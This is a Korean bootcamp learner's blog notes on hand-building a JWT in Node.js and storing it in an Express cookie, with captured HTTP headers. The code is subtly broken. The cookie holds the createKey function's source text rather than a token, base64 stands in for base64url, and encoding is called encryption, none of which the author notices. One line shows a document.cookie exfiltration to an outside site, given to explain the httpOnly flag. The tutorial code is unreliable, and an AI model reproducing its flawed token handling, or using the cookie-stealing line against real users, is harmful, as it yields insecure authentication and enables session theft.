본문 바로가기

블록체인 기반 핀테크 및 응용 SW개발자 양성과정 일기

[52일차 복습] Javascript node.js [JWT] token 토큰 암호화해서 브라우저 cookie에 저장하기

반응형

image from https://madooei.github.io/cs421_sp20_homepage/client-server-app/

 

 

고객 정보를 저장하는 DB와 연결된 Server.

Server 가 여러개가 되면 Client가 매번 각기 다른 Server에 재로그인을 해서 request를 보내야 server가 해당 Client를 식별할 수있다. 이러한 문제 해결 위해 브라우저의 쿠키에 해당 정보를 암호화해서 넣어놓고 Client가 어떤 Server를 사용하더라도 편리하게 JWT 이 생김 

 

 

JWT (Json Web Token) 

https://jwt.io/

 

JWT.IO

JSON Web Tokens are an open, industry standard RFC 7519 method for representing claims securely between two parties.

jwt.io

 

 

전체적인 흐름 : 

1. Clinet ----- id, pw ------> Server

2. Server - DB조회, Token 생성 

3. Client <------token ------- Server 

4. Client - Token을 브라우저 Cookie에 저장 

5. 이 후, Client는 매 요청마다 Token을 Storage에서 빼서 보내게 됨 -> server는 middleware를 통해 token 쳌 

=> server 메모리 효율성 ↑↑

 

암호화된 Token 은 : Header, payload, verify signature 3 부분으로 구성되어 있다. 

 

 

 

Binary data , 바이너리 데이터란? 

- 2진 data (기본 단위가 0,1 상태만 가지는 데이터) 

- text data 보다 용량이 적어 server에 부담을 덜 준다 ex) 사진, 동영상 

- 컴퓨터가 직접적으로 이해하고 실행시킬 수 있는 데이터 종류 

- 컴튜터의 native 언어라고 여겨진다.

- 컴퓨터에서 a process가 수행될때마다 바이너리 데이터는 생성된다.

- 모든 Procesess, 그들의 type 상관없이, 실행 전 바이너리 데이터로 변환된다. 

 

쉽게 컴퓨터가 쓰는 언어구나~ 라고 이해하면 될 것 같다. 

 

 

 


 

 

'base64'란 ? 

- Base64 is a group of similar binary-to-text encoding schemes that represent binary data in an ASCII string format by translating it into a radix-64 representation. 

- Node.js를 사용하여 Base64 String으로 인코딩하는건 Buffer Object를 쓰는게 가장 쉽다. 

- Buffer는 an immutable array of integers / UTF-8, NBase64, UCS2, even Hex을 인코딩 할 수 있다. 

 

 

왜 Base64 encoding을 쓰는지 ?

- binary format으로 보내는건 모든 applications or network systems 이 raw binary를 처리, handle 할 수 없을 수도 있기에 조금 위험하다. 반면 ASCII character set은 널리 알려져 있고 대부분의 시스템이 사용할 수 있다. 

 

 Therefore, if you want to send images or any other binary file to an email server you first need to encode it in text-based format, preferably ASCII. This is where Base64 encoding comes extremely handy in converting binary data to the correct formats.

 

 

buffer, 버퍼란?

하나의 장치에서 다른 장치로 데이터를 전송할 경우에 양자간의 데이터의 전송속도나 처리속도의 차를 보상하여 양호하게 결합할 목적으로 사용하는 기억영역을 버퍼 또는 버퍼 에어리어라고 한다. 보통 중앙처리장치와 단말이나 다른 입출력장치사이의 데이터 송수신에는 입출력 영역으로서 버퍼를 필요로 한다. 또, 중앙처리장치와 주기억장치의 사이에 고속으로 동작하는 소용량의 버퍼 메모리(로컬 메모리라고도 한다)를 설치하여 처리의 고속화를 꾀하는 방식도 있다.

[네이버 지식백과] 버퍼 [Buffer] (정보통신용어사전, 2008. 1. 15., 윤승은)

 

 

 

Buffer.from 이란 ? 

The Buffer.from() method creates a new buffer filled with the specified string, array, or buffer.


let txt1 = "나는 텍스트다"; 
let txt2 = Buffer.from(txt1);
let txt3 = Buffer.from(txt1).toString();
let txt4 = Buffer.from(txt1).toString('base64');
let txt5 = Buffer.from(txt1).toString('base64').replace('==','');

console.log(txt2); //<Buffer eb 82 98 eb 8a 94 20 ed 85 8d ec 8a a4 ed 8a b8 eb 8b a4>
console.log(txt3); //나는 텍스트다
console.log(txt4); //64KY64qUIO2FjeyKpO2KuOuLpA==
console.log(txt5); //64KY64qUIO2FjeyKpO2KuOuLpA

 

 

 

 

 

 Header 만들기 

let header = {
    "alg":"HS256",
    "typ":"JWT",
}

console.log(header);  //객체 
console.log(JSON.stringify(header));  //객체 -> STIRNG 바꿈 
console.log(Buffer.from(JSON.stringify(header)));  
console.log(Buffer.from(JSON.stringify(header)).toString('base64'));//toStirng(ASCII string format)

let encodeHeader = Buffer.from(JSON.stringify(header))
                    .toString('base64')
                    .replace('=','');

console.log('encoded header is : ' + encodeHeader);

 

 

 

 Payload 만들기 

위와 같은 방식

let encodePayload = Buffer.from(JSON.stringify(payload))
                    .toString('base64')
                    .replace('=','');

console.log('encoded payload is : '+ encodePayload);

console

encoded payload is : eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4iLCJpYXQiOjEyMzMyNX0

 

 

 Verify signature 만들기 

- 위에서 만든 header, payload를 사용하여 암호화 한 내용을 담는 공간 = 비밀 키

암호화 하는 package 다운

$npm install crypto

key.js에 코드 추가 

const crypto = require('crypto');

 

creypto.createHmac( A, B); 

첫번째 인자값 : 어떤 암호화할건지 sha256

두번째 인자값 : 암호화 규칙 : string (인단 아무 string 쓰기) 

 

const crypto = require('crypto');


function createKey() {
    let header = {
        "alg": "HS256",
        "typ": "JWT",
    }

    let encodeHeader = Buffer.from(JSON.stringify(header))
        .toString('base64')
        .replace('=', '');

    let payload = {
        "sub": "1234567890",
        "name": "John",
        "iat": 123325,
    }

    let encodePayload = Buffer.from(JSON.stringify(payload))
        .toString('base64')
        .replace('=', '');


    let signature = crypto.createHmac('sha256', Buffer.from('any memo'))
        .update(`${encodeHeader}.${encodePayload}`)
        .digest('base64').replace('=', '');

    console.log('signature is ' + signature)
    return signature;
}

module.exports = createKey;

console : token 완성 & exports 코드 작성 (function 으로 묶고 return )  

 

 

 

 

 

 


 

 

 

직접 Client, serve를 만들어 token 생성, 전달, 받아보고 각각 실행단계별 req,res msg 분석해보기

 

1. server.js 파일 생성 , 기본 코드 작성 

$npm install express

const express=require('express');
const app = express();

app.get('/', (req,res)=>{
    res.send('hello');
})

app.listen(3000,()=>{
    console.log('start port : 3000');
})

 

2. cookie에 아까 만든 tokenKey 를 담기 

$npm i cookie-parser 

const express=require('express');
const cookieParser=require('cookie-parser');
const tokenKey=require('./key');
const app = express();

app.use(cookieParser());
app.get('/', (req,res)=>{
    res.send('hello <a href="/menu1"> menu1</a><a href="/login?id=root&pw=root">로그인</a>');
})

app.get('/login',(req,res)=>{
    let {id,pw} = req.query;
    if(id=='root' && pw=='root'){
        res.cookie('token',tokenKey);
        res.redirect('/?msg=로그인성공');
    }else{
        res.redirect('/?msg=id와 pw가 일치하지 않습니다.');
    }
})

app.get('/menu1',(req,res)=>{
    console.log(req.cookies);
    res.send('menu1페이지입니다');
})

app.listen(3000,()=>{
    console.log('start port : 3000');
})

로그인을 하면 -> id, pw 일치 확인 -> 일치하면 응답에 token 값 보냄 -> 브라우저가 storage에 해당 token을 담고 server 방문할 때마다 사용 

 

 

 

 

3. 실행해보면서 networks  -  req,res headers/ body 보기 

 

localhost:3000 

app.get('/', (req,res)=>{
    res.send('hello <a href="/menu1"> menu1</a><a href="/login?id=root&pw=root">로그인</a>');
})

요청 header

GET / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

Token 값 아직 없음 

 

응답 header + body

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 79
ETag: W/"4f-h3ih8YYy3eaZi8JdDPfLHnnhpik"
Date: Thu, 27 May 2021 08:31:46 GMT
Connection: keep-alive
Keep-Alive: timeout=5

hello menu1로그인

token 없음 

 

로그인 클릭 -> id, pw root 으로 자동 로그인이 되도록 코드 설정해놓음 

app.get('/', (req,res)=>{
    res.send('hello <a href="/menu1"> menu1</a><a href="/login?id=root&pw=root">로그인</a>');
})

app.get('/login',(req,res)=>{
    let {id,pw} = req.query;
    if(id=='root' && pw=='root'){
        res.cookie('token',tokenKey);
        res.redirect('/?msg=로그인성공');
    }else{
        res.redirect('/?msg=id와 pw가 일치하지 않습니다.');
    }
})

request header

GET /login?id=root&pw=root HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://localhost:3000/
Upgrade-Insecure-Requests: 1

client -> server에 /login url을 get 으로 요청할 때 아직 token 없음 

app.get('/login',(req,res)=>{
    let {id,pw} = req.query;
    if(id=='root' && pw=='root'){
        res.cookie('token',tokenKey);
        res.redirect('/?msg=로그인성공');

server가 요청을 받고 일치하는지 비교 (일치함!) => res.cookie 만들어서 res 응답 

 

response header 

HTTP/1.1 302 Found
X-Powered-By: Express
Set-Cookie: token=function%20createKey()%20%7B%0D%0A%20%20%20%20let%20header%20%3D%20%7B%0D%0A%20%20%20%20%20%20%20%20%22alg%22%3A%20%22HS256%22%2C%0D%0A%20%20%20%20%20%20%20%20%22typ%22%3A%20%22JWT%22%2C%0D%0A%20%20%20%20%7D%0D%0A%0D%0A%20%20%20%20let%20encodeHeader%20%3D%20Buffer.from(JSON.stringify(header))%0D%0A%20%20%20%20%20%20%20%20.toString('base64')%0D%0A%20%20%20%20%20%20%20%20.replace('%3D'%2C%20'')%3B%0D%0A%0D%0A%20%20%20%20let%20payload%20%3D%20%7B%0D%0A%20%20%20%20%20%20%20%20%22sub%22%3A%20%221234567890%22%2C%0D%0A%20%20%20%20%20%20%20%20%22name%22%3A%20%22John%22%2C%0D%0A%20%20%20%20%20%20%20%20%22iat%22%3A%20123325%2C%0D%0A%20%20%20%20%7D%0D%0A%0D%0A%20%20%20%20let%20encodePayload%20%3D%20Buffer.from(JSON.stringify(payload))%0D%0A%20%20%20%20%20%20%20%20.toString('base64')%0D%0A%20%20%20%20%20%20%20%20.replace('%3D'%2C%20'')%3B%0D%0A%0D%0A%0D%0A%20%20%20%20let%20signature%20%3D%20crypto.createHmac('sha256'%2C%20Buffer.from('any%20memo'))%0D%0A%20%20%20%20%20%20%20%20.update(%60%24%7BencodeHeader%7D.%24%7BencodePayload%7D%60)%0D%0A%20%20%20%20%20%20%20%20.digest('base64').replace('%3D'%2C%20'')%3B%0D%0A%0D%0A%20%20%20%20console.log('signature%20is%20'%20%2B%20signature)%0D%0A%20%20%20%20return%20signature%3B%0D%0A%7D; Path=/
Location: /?msg=%EB%A1%9C%EA%B7%B8%EC%9D%B8%EC%84%B1%EA%B3%B5
Vary: Accept
Content-Type: text/html; charset=utf-8
Content-Length: 146
Date: Thu, 27 May 2021 08:39:18 GMT
Connection: keep-alive
Keep-Alive: timeout=5

token이 이 때 생김 ! 

 

 

 

이후 menu1 클릭 

 

request header (Client -> server) 토큰 존재 

GET /menu1 HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost:3000/?msg=%EB%A1%9C%EA%B7%B8%EC%9D%B8%EC%84%B1%EA%B3%B5
Connection: keep-alive
Cookie: token=function%20createKey()%20%7B%0D%0A%20%20%20%20let%20header%20%3D%20%7B%0D%0A%20%20%20%20%20%20%20%20%22alg%22%3A%20%22HS256%22%2C%0D%0A%20%20%20%20%20%20%20%20%22typ%22%3A%20%22JWT%22%2C%0D%0A%20%20%20%20%7D%0D%0A%0D%0A%20%20%20%20let%20encodeHeader%20%3D%20Buffer.from(JSON.stringify(header))%0D%0A%20%20%20%20%20%20%20%20.toString('base64')%0D%0A%20%20%20%20%20%20%20%20.replace('%3D'%2C%20'')%3B%0D%0A%0D%0A%20%20%20%20let%20payload%20%3D%20%7B%0D%0A%20%20%20%20%20%20%20%20%22sub%22%3A%20%221234567890%22%2C%0D%0A%20%20%20%20%20%20%20%20%22name%22%3A%20%22John%22%2C%0D%0A%20%20%20%20%20%20%20%20%22iat%22%3A%20123325%2C%0D%0A%20%20%20%20%7D%0D%0A%0D%0A%20%20%20%20let%20encodePayload%20%3D%20Buffer.from(JSON.stringify(payload))%0D%0A%20%20%20%20%20%20%20%20.toString('base64')%0D%0A%20%20%20%20%20%20%20%20.replace('%3D'%2C%20'')%3B%0D%0A%0D%0A%0D%0A%20%20%20%20let%20signature%20%3D%20crypto.createHmac('sha256'%2C%20Buffer.from('any%20memo'))%0D%0A%20%20%20%20%20%20%20%20.update(%60%24%7BencodeHeader%7D.%24%7BencodePayload%7D%60)%0D%0A%20%20%20%20%20%20%20%20.digest('base64').replace('%3D'%2C%20'')%3B%0D%0A%0D%0A%20%20%20%20console.log('signature%20is%20'%20%2B%20signature)%0D%0A%20%20%20%20return%20signature%3B%0D%0A%7D
Upgrade-Insecure-Requests: 1
If-None-Match: W/"17-lF+PW1g1HZxjk2nizWMN9cvRg7Y"
Cache-Control: max-age=0

response header (응답할 때 굳이 토큰을 또 보내지 않음) 

HTTP/1.1 304 Not Modified
X-Powered-By: Express
ETag: W/"17-lF+PW1g1HZxjk2nizWMN9cvRg7Y"
Date: Thu, 27 May 2021 08:43:36 GMT
Connection: keep-alive
Keep-Alive: timeout=5

 

 

=> cookie는 header안에 있다. 

 

 

 

 

token 안전하게 만들기 

 

ex) console.log에 document.cookie 하면 token 값이 나옴 

악용해서 

location.href(`http://naver.com?${document.cookie}`) 이렇게 해버리면 쿠키값을 가지고 naver로 이동하게 되어 위험 

 

-> cookie() 3번째 인자값에  쿠키설정값 추가 

app.get('/login',(req,res)=>{
    let {id,pw} = req.query;
    if(id=='root' && pw=='root'){
        res.cookie('token',tokenKey, {httpOnly:true,secure:true}); // 객체로 추가 
        res.redirect('/?msg=로그인성공');
    }else{
        res.redirect('/?msg=id와 pw가 일치하지 않습니다.');
    }
})

 

 

 

 

cookie 는 저장되어 있지만 보이지 않게됨. 

 

 

 

 

 

 

 

References

https://www.techopedia.com/definition/17929/binary-data

https://stackabuse.com/encoding-and-decoding-base64-strings-in-node-js/

 

반응형